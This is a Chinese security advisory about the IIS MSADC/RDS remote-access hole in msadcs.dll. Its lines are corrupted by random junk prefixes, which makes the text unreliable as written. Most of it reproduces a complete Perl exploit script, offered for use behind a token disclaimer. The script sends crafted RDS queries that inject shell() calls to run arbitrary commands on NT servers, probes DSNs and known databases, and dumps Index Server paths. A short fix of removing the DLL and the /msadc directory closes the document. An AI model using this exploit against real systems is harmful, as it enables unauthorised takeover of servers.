IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
V7_??L%Ct` ??V["o T 涉及程序：
q Db}b d5 Microsoft NT server
pk1M.+ hiH p@"l< 描述：
?='9YM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G3?z.5 ,Q
#sZes 详细：
oyw 1N;K 如果你没有时间读详细内容的话，就删除:
&[5az/Hj* c:\Program Files\Common Files\System\Msadc\msadcs.dll
),, vu 有关的安全问题就没有了。
5-^twX C& + KNr1rG 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j3&*wU_ Q 4q#/z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?9TogW>W 关于利用ODBC远程漏洞的描述，请参看:
'VEpVo/ {hz :[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o7zfD94I 6u7wfAf 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
lZ_k307 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ( mlc' ]F UXHFti/A< 这里不再论述。
@1@WB ]mQQ tO3 ;; % 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
063;D + (Ln h> '2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]
),' =@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q@n k T1o "g-NUl`' !&[4T#c #将下面这段保存为txt文件，然后: "perl -x 文件名"
X2v'9 x z?,5v`,t2 #!perl
<b I,y_<K #
? Q}{&J # MSADC/RDS 'usage' (aka exploit) script
VIzZmd #
q?&&:.H"?5 # by rain.forest.puppy
&=bI3- #
2-84 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mX^RSg9 E} # beta test and find errors!
zn|}YovY+ 5Y^ YKV{ use Socket; use Getopt::Std;
)3sb 2
# getopts("e:vd:h:XR", \%args);
mN02T@R- za7wNe(s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NY
x4&
*le t/|^Nt@XT if (!defined $args{h} && !defined $args{R}) {
Di*>PE@ print qq~
>kYyR.p.b Usage: msadc.pl -h <host> { -d <delay> -X -v }
Je,8{J |e -h <host> = host you want to scan (ip or domain)
4NV1v&" -d <seconds> = delay between calls, default 1 second
)A%Y
wI$ -X = dump Index Server path table, if available
G>x0}c -v = verbose
p<4':s;* -e = external dictionary file for step 5
9"S3A EI '! (`? Or a -R will resume a command session
k
W ,|> u:ISwAp ~; exit;}
hM}2++ V Kl? 1)u3^4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Q*:
Ow] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*F0N'* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i QF93:# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9[M u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jLTs1`I/F if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f$| v K-ebAa iC if (!defined $args{R}){ $ret = &has_msadc;
STe;Sr&p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
AI2CfH#:C h*LIS@&9C5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
} qTvUs . "cmd /c ";
$`%.Y&A $in=<STDIN>; chomp $in;
RS~oSoAE $command="cmd /c " . $in ;
@kw=0 T[~X~dqwn" if (defined $args{R}) {&load; exit;}
[ z\*Zg vs~*=d27Pf print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o=ex{g( 3 &try_btcustmr;
i ^#R iCeo UWI5 /R print "\nStep 2: Trying to make our own DSN...";
?W()Do1tR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
GfDA5v[ \XC1/LZQ print "\nStep 3: Trying known DSNs...";
c{~*\& &known_dsn;
*"@P2F& I, D =ixK print "\nStep 4: Trying known .mdbs...";
eC?N>wHH &known_mdb;
/1*\*< cs _N6GV$Q if (defined $args{e}){
~&kV print "\nStep 5: Trying dictionary of DSN names...";
TUG3#PSnm* &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Mt u8zm xQQ6 D print "Sorry Charley...maybe next time?\n";
0 !Yi.'+ exit;
Xma0k3;- ;I>`!|mT ##############################################################################
mYCGGwD \ C Yu; sub sendraw { # ripped and modded from whisker
4"{q|~&=:$ sleep($delay); # it's a DoS on the server! At least on mine...
JmkJ^-A 6 my ($pstr)=@_;
D+OkD-8q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gIeo7>u die("Socket problems\n");
[eImP
V] if(connect(S,pack "SnA4x8",2,80,$target)){
\ gd d select(S); $|=1;
VrpY B U print $pstr; my @in=<S>;
BtspnVB ez select(STDOUT); close(S);
q6q= ,<T%S return @in;
Nbr{)h } else { die("Can't connect...\n"); }}
`g7'
)MSy q07>FW R ##############################################################################
;RXv%M L [yz;OoA:; sub make_header { # make the HTTP request
m9/a!|fBE my $msadc=<<EOT
a.P^+h POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
N'4*L=Ut User-Agent: ACTIVEDATA
.fgoEB,( Host: $ip
@Z) &3ss Content-Length: $clen
T "O! Connection: Keep-Alive
'?\Hm' 8 xe d$z ADCClientVersion:01.06
@_;6 L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
uaiG (O PqfH}d0l --!ADM!ROX!YOUR!WORLD!
^pn:SV Content-Type: application/x-varg
gbvBgOp Content-Length: $reqlen
t^q/'9Ai&J `| fF)kI EOT
FkH4|}1 ; $msadc=~s/\n/\r\n/g;
xaPTTa return $msadc;}
aD.A +e s D`u{U] ##############################################################################
Ou/{PK} i+OyBDkJM! sub make_req { # make the RDS request
A/9 w r my ($switch, $p1, $p2)=@_;
7JbN WN my $req=""; my $t1, $t2, $query, $dsn;
#VLTx!5o 'SC`->F4D if ($switch==1){ # this is the btcustmr.mdb query
#]9yzyb_y $query="Select * from Customers where City=" . make_shell();
cng 1k
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ST{<G $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\eN }V IlH*s/ elsif ($switch==2){ # this is general make table query
.69{GM? $query="create table AZZ (B int, C varchar(10))";
&`@K/Nf$9 $dsn="$p1";}
U@H SU%H 'i}Q R~pe elsif ($switch==3){ # this is general exploit table query
[xHK^JP 8F $query="select * from AZZ where C=" . make_shell();
.^/OL}/~< $dsn="$p1";}
ss*dM.b ST O6cNi elsif ($switch==4){ # attempt to hork file info from index server
&TKB8vx=# $query="select path from scope()";
%#=
1?1s $dsn="Provider=MSIDXS;";}
#fQ StO 8 kk$:8 elsif ($switch==5){ # bad query
J:t 1W=lJ3 $query="select";
1|2X0Xm{ $dsn="$p1";}
(i { xR$xAcoSB $t1= make_unicode($query);
ZZ.GpB. $t2= make_unicode($dsn);
%0L 9)-R $req = "\x02\x00\x03\x00";
$///N+B $req.= "\x08\x00" . pack ("S1", length($t1));
f)>=. sp $req.= "\x00\x00" . $t1 ;
}z}oVc $req.= "\x08\x00" . pack ("S1", length($t2));
v=!]t=P)t $req.= "\x00\x00" . $t2 ;
`Dj-(~x $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K?) &8S return $req;}
Y}PI{P N )8yNqnD ##############################################################################
B&cC;Hw lV3\5AEW sub make_shell { # this makes the shell() statement
XJ.vj+XXb
return "'|shell(\"$command\")|'";}
<Dl7|M nT:Z SJWM ##############################################################################
O0e6I&u : Sw Lul4V sub make_unicode { # quick little function to convert to unicode
h&&ufF]D my ($in)=@_; my $out;
TwY]c<t for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4 ~D?F'o return $out;}
d&F8nBIM5 ~i(X{ ^,3 ##############################################################################
~qs 97' TC'tui sub rdo_success { # checks for RDO return success (this is kludge)
Q 1g@FsW&U my (@in) = @_; my $base=content_start(@in);
M*|x,K= U if($in[$base]=~/multipart\/mixed/){
WJ8i,7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
VGkwrS;+I return 0;}
i&RPY bT{ K^EW*6vB8O ##############################################################################
Ao(Xz$cQfW YHl6M&*@ sub make_dsn { # this makes a DSN for us
OQA}+XO my @drives=("c","d","e","f");
awGI|d print "\nMaking DSN: ";
(z\@T`6` foreach $drive (@drives) {
%+qD-{& print "$drive: ";
"d9"Md0k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
LJ9^:U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
XB
zcbS+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(z#qkKL{^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y^?7de} return 0 if $2 eq "404"; # not found/doesn't exist
Z%k)'%_ if($2 eq "200") {
)bXiw3'A foreach $line (@results) {
fQM:NI? 9? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'`I&g8I\ } return 0;}
x 8w455 6|L<?
X ##############################################################################
>2T DYB|; ^ 14 U]< sub verify_exists {
xh,};TS(K my ($page)=@_;
-r7*C :E my @results=sendraw("GET $page HTTP/1.0\n\n");
K} LmU{/t/ return $results[0];}
Pd6 p)zj 7' ]n_-fu ##############################################################################
IOt SAf j@
l Hgis sub try_btcustmr {
q{ i9VJ] my @drives=("c","d","e","f");
2Gd.B/L6 my @dirs=("winnt","winnt35","winnt351","win","windows");
L TzD\C' oSq4g{xvMH foreach $dir (@dirs) {
J4&d6[40 print "$dir -> "; # fun status so you can see progress
sA[hG*#/S foreach $drive (@drives) {
*F[@lY\p print "$drive: "; # ditto
R5(<:] $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8c3Qd $reqlenlen=length( "$reqlen" );
q# $A l $clen= 206 + $reqlenlen + $reqlen;
?#da4W {1Z8cV my @results=sendraw(make_header() . make_req(1,$drive,$dir));
LB1LQ 0M if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
hO G9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
nep0<& " YBehyx2eK ##############################################################################
hCS|(8g 4$ya$Y%s% sub odbc_error {
e0Zwhz, my (@in)=@_; my $base;
ihS;q6ln my $base = content_start(@in);
R7pdwKD if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`fYICp $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WBv h<wTw; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yPs4S?<s $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-^yb[b, return $in[$base+4].$in[$base+5].$in[$base+6];}
ya .!zGH print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ssj(-\5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2iO AUo+ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
lV <2+Is LQ(z~M0B ##############################################################################
9%T~^V%T7 }coSMTMv6 sub verbose {
fyaiRn 9/ my ($in)=@_;
/%fBkA#n return if !$verbose;
bis}zv^%v print STDOUT "\n$in\n";}
{x Jq F4 z><u YO$ ##############################################################################
M$iDaEu- 3D|Y4OM sub save {
B WRAz*V my ($p1, $p2, $p3, $p4)=@_;
IYAvO% ~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lV924mh print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1$mxMXNsJ close OUT;}
'Km
~3t sxc^n
aK0 ##############################################################################
;r'y/ Y'? .LMOmc=( sub load {
B /q/6Pp my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
t+y$ i@R: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
HGIPz{/5U @p=<IN>; close(IN);
DO6Tz -%o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
!D#wSeJ $target= inet_aton($ip) || die("inet_aton problems");
q=Xd a0c print "Resuming to $ip ...";
4
JC*c $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
PW 7{,1te, if($p[1]==1) {
jT/}5\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}(tuBJ 9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
t jLp;%6e my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\A
"_|Yg if (rdo_success(@results)){print "Success!\n";}
vz$-KT4e^ else { print "failed\n"; verbose(odbc_error(@results));}}
YvA@I|..~ elsif ($p[1]==3){
k%2wo HSu& if(run_query("$p[3]")){
l}w9c`f print "Success!\n";} else { print "failed\n"; }}
/ ,Unp1D elsif ($p[1]==4){
!A_< (M< if(run_query($drvst . "$p[3]")){
GY% ^!r print "Success!\n"; } else { print "failed\n"; }}
v|~&I%S7 exit;}
ygI81\ D rF n% e ##############################################################################
H[oCI|k "MS}@NLUW sub create_table {
Jz u U
k my ($in)=@_;
TEB<ia3+ $reqlen=length( make_req(2,$in,"") ) - 28;
bzj9U>eY $reqlenlen=length( "$reqlen" );
d6RO2^ $clen= 206 + $reqlenlen + $reqlen;
n`v;S>aT my @results=sendraw(make_header() . make_req(2,$in,""));
zt,Tda4Y return 1 if rdo_success(@results);
%*:X
FB my $temp= odbc_error(@results); verbose($temp);
Qk`ykTS! return 1 if $temp=~/Table 'AZZ' already exists/;
iB- h3/ return 0;}
hv. 33l $+'bRUo ##############################################################################
cl \Gh @9$u!ny0 sub known_dsn {
,EsPm'`?A/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
CB!5>k+mC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&ZyZmB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8n V#\J9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
x&^>| 'H *,x -}%X foreach $dSn (@dsns) {
d;:H#F+ ( print ".";
Maw Wgd* next if (!is_access("DSN=$dSn"));
XHN*'@
77; if(create_table("DSN=$dSn")){
$!Qv f print "$dSn successful\n";
[l`_2{: if(run_query("DSN=$dSn")){
#k}x} rn<' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t 0 omJP print "Something's borked. Use verbose next time\n";}}} print "\n";}
y"bSn5B[ 8VWkUsOo I ##############################################################################
"K Or)QD/
iwiHw sub is_access {
` @PHV my ($in)=@_;
4k7
LM] $reqlen=length( make_req(5,$in,"") ) - 28;
f S@V`"O6 $reqlenlen=length( "$reqlen" );
/Ko{S_3< I $clen= 206 + $reqlenlen + $reqlen;
H8lh.K my @results=sendraw(make_header() . make_req(5,$in,""));
JyiP3whW my $temp= odbc_error(@results);
W'98ue s% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E\$7tXQK6 return 0;}
o x|K 2A :NCY6?
[Dz ##############################################################################
s8O.yL (Ci{fY6` sub run_query {
J`I^F:y* my ($in)=@_;
!Py SYY $reqlen=length( make_req(3,$in,"") ) - 28;
bY@ S[ $reqlenlen=length( "$reqlen" );
;~^9$Z@%Q $clen= 206 + $reqlenlen + $reqlen;
BI|BfO%F$j my @results=sendraw(make_header() . make_req(3,$in,""));
j:Y1 return 1 if rdo_success(@results);
dGc<{sQzB my $temp= odbc_error(@results); verbose($temp);
jWUpzf)q=T return 0;}
}piDg(D ^Fop/\E ##############################################################################
GS*Mv{JJ ,)svSzR sub known_mdb {
ezz;NH my @drives=("c","d","e","f","g");
b'5]o my @dirs=("winnt","winnt35","winnt351","win","windows");
O,D/& 0 my $dir, $drive, $mdb;
\c1NIuJR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$E >) Uo<iZ3J # this is sparse, because I don't know of many
DQ08dP((v my @sysmdbs=( "\\catroot\\icatalog.mdb",
U=Hx& g "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Hy n* O)q! "\\system32\\certmdb.mdb",
Y-ZTv(< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Bu{1^g: (>)f#t[9 J my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7^hwRZ J{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
Y%G I KtP "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
%C1*`"Jb& "\\cfusion\\cfapps\\security\\realm_.mdb",
.dE2,9{Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<T^:`p/]4 "\\cfusion\\database\\cfexamples.mdb",
I\y=uC "\\cfusion\\database\\cfsnippets.mdb",
Zqp<8M2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
. a@> 1XO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
E0lro+'lS "\\cfusion\\brighttiger\\database\\cleam.mdb",
pD@2Mt0|]= "\\cfusion\\database\\smpolicy.mdb",
n[f<]4< "\\cfusion\\database\cypress.mdb",
IncHY?ud< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}#bX{?f "\\website\\cgi-win\\dbsample.mdb",
H) 5V \ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
MJ% gF=$X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{>]7xTpwZ ); #these are just
Qzh`x-S foreach $drive (@drives) {
;ND)h pD+ foreach $dir (@dirs){
w(6(Fze foreach $mdb (@sysmdbs) {
0hCrEM!8 print ".";
zZh \ e,* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.ou#BWav/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0*4h}t9j if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
um5n3=K print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
h ycdk1SN } else { print "Something's borked. Use verbose next time\n"; }}}}}
QPZ|C{Ce Vmb `%k20' foreach $drive (@drives) {
p$+.] foreach $mdb (@mdbs) {
naaww print ".";
IPTEOA<M[ if(create_table($drv . $drive . $dir . $mdb)){
q\I2lZ print "\n" . $drive . $dir . $mdb . " successful\n";
9FKowF_8 if(run_query($drv . $drive . $dir . $mdb)){
PKK18E}{%^ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%=G*{mK } else { print "Something's borked. Use verbose next time\n"; }}}}
15)y]N={^ }
OtsW>L@ O( "'9[c"Iz ##############################################################################
dU<qFxW `9>1 w d sub hork_idx {
%9HL " print "\nAttempting to dump Index Server tables...\n";
Up*.z\|'y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9~lC/I')t $reqlen=length( make_req(4,"","") ) - 28;
2sXNVo8`w" $reqlenlen=length( "$reqlen" );
>vny 9^_ $clen= 206 + $reqlenlen + $reqlen;
v "Yo my @results=sendraw2(make_header() . make_req(4,"",""));
}iBFo\vU if (rdo_success(@results)){
#CcC& I
:c my $max=@results; my $c; my %d;
w 1q` for($c=19; $c<$max; $c++){
e^ ZxU/e $results[$c]=~s/\x00//g;
%]iE(!>3oy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,JVWn>s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
AzlZe\V?)~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'U|Tye i? $d{"$1$2"}="";}
O&vE 5%x foreach $c (keys %d){ print "$c\n"; }
gd=gc<z YP } else {print "Index server doesn't seem to be installed.\n"; }}
a}#8n^2 D>>?8a ##############################################################################
PQJI~u9te} ='U>P(
R- sub dsn_dict {
na) -' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
EsK.g/d while(<IN>){
by0@G"AE+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
kbcqU E next if (!is_access("DSN=$dSn"));
m R|;}u;d if(create_table("DSN=$dSn")){
+/|;<K5_LI print "$dSn successful\n";
%fH&UFby if(run_query("DSN=$dSn")){
BK/~ 2u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f?[0I\V[$ print "Something's borked. Use verbose next time\n";}}}
J6s@}@R1 print "\n"; close(IN);}
ZPO+ #, $eQf 5)5 ##############################################################################
-,Y[`(q $bd ti D sub sendraw2 { # ripped and modded from whisker
a|5^4 J \% sleep($delay); # it's a DoS on the server! At least on mine...
Kb icP< my ($pstr)=@_;
,%!E-gr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,fR /C die("Socket problems\n");
n5e1k y*9w if(connect(S,pack "SnA4x8",2,80,$target)){
AJWV#J%nB print "Connected. Getting data";
t_\;G~O9-M open(OUT,">raw.out"); my @in;
R{3vPG select(S); $|=1; print $pstr;
6{8dv9tK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%X^K5Io close(OUT); select(STDOUT); close(S); return @in;
kE ` V @F } else { die("Can't connect...\n"); }}
D& C83^m \:[J-ySJ ##############################################################################
8-.jf X) O9PQ sub content_start { # this will take in the server headers
: l&g5 my (@in)=@_; my $c;
A."]6R< for ($c=1;$c<500;$c++) {
q8-*3K if($in[$c] =~/^\x0d\x0a/){
Ee0}Xv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`= FDNOwp else { return $c+1; }}}
y'#i'0eeL return -1;} # it should never get here actually
P rwMR_ - H-ewO8@ ##############################################################################
FcI ZG _ h F 4gz*Q sub funky {
E2 %{?o my (@in)=@_; my $error=odbc_error(@in);
27CVAX ghV if($error=~/ADO could not find the specified provider/){
%<? U`o@* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5<=ktA48[ exit;}
W%,h{ if($error=~/A Handler is required/){
FsTl@zN print "\nServer has custom handler filters (they most likely are patched)\n";
M
s 5L 7S exit;}
JrA\ V=K if($error=~/specified Handler has denied Access/){
\[MQJX,d n print "\nServer has custom handler filters (they most likely are patched)\n";
g$a
5 exit;}}
'|~L9t Y VT\@+C' ##############################################################################
%!HBP Lk 4Y!_tZ> sub has_msadc {
;G\RGU~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-Nu Rf# my $base=content_start(@results);
*<rBV`AP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
oD?c]}3 return 0;}
}bM=)eUfX DI,8y"!5 ########################
!c#~g0H+ A!n)Fpk
DwBKqhu 解决方案：
gT8% ?U: 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-!JnyD 2、移除web 目录: /msadc
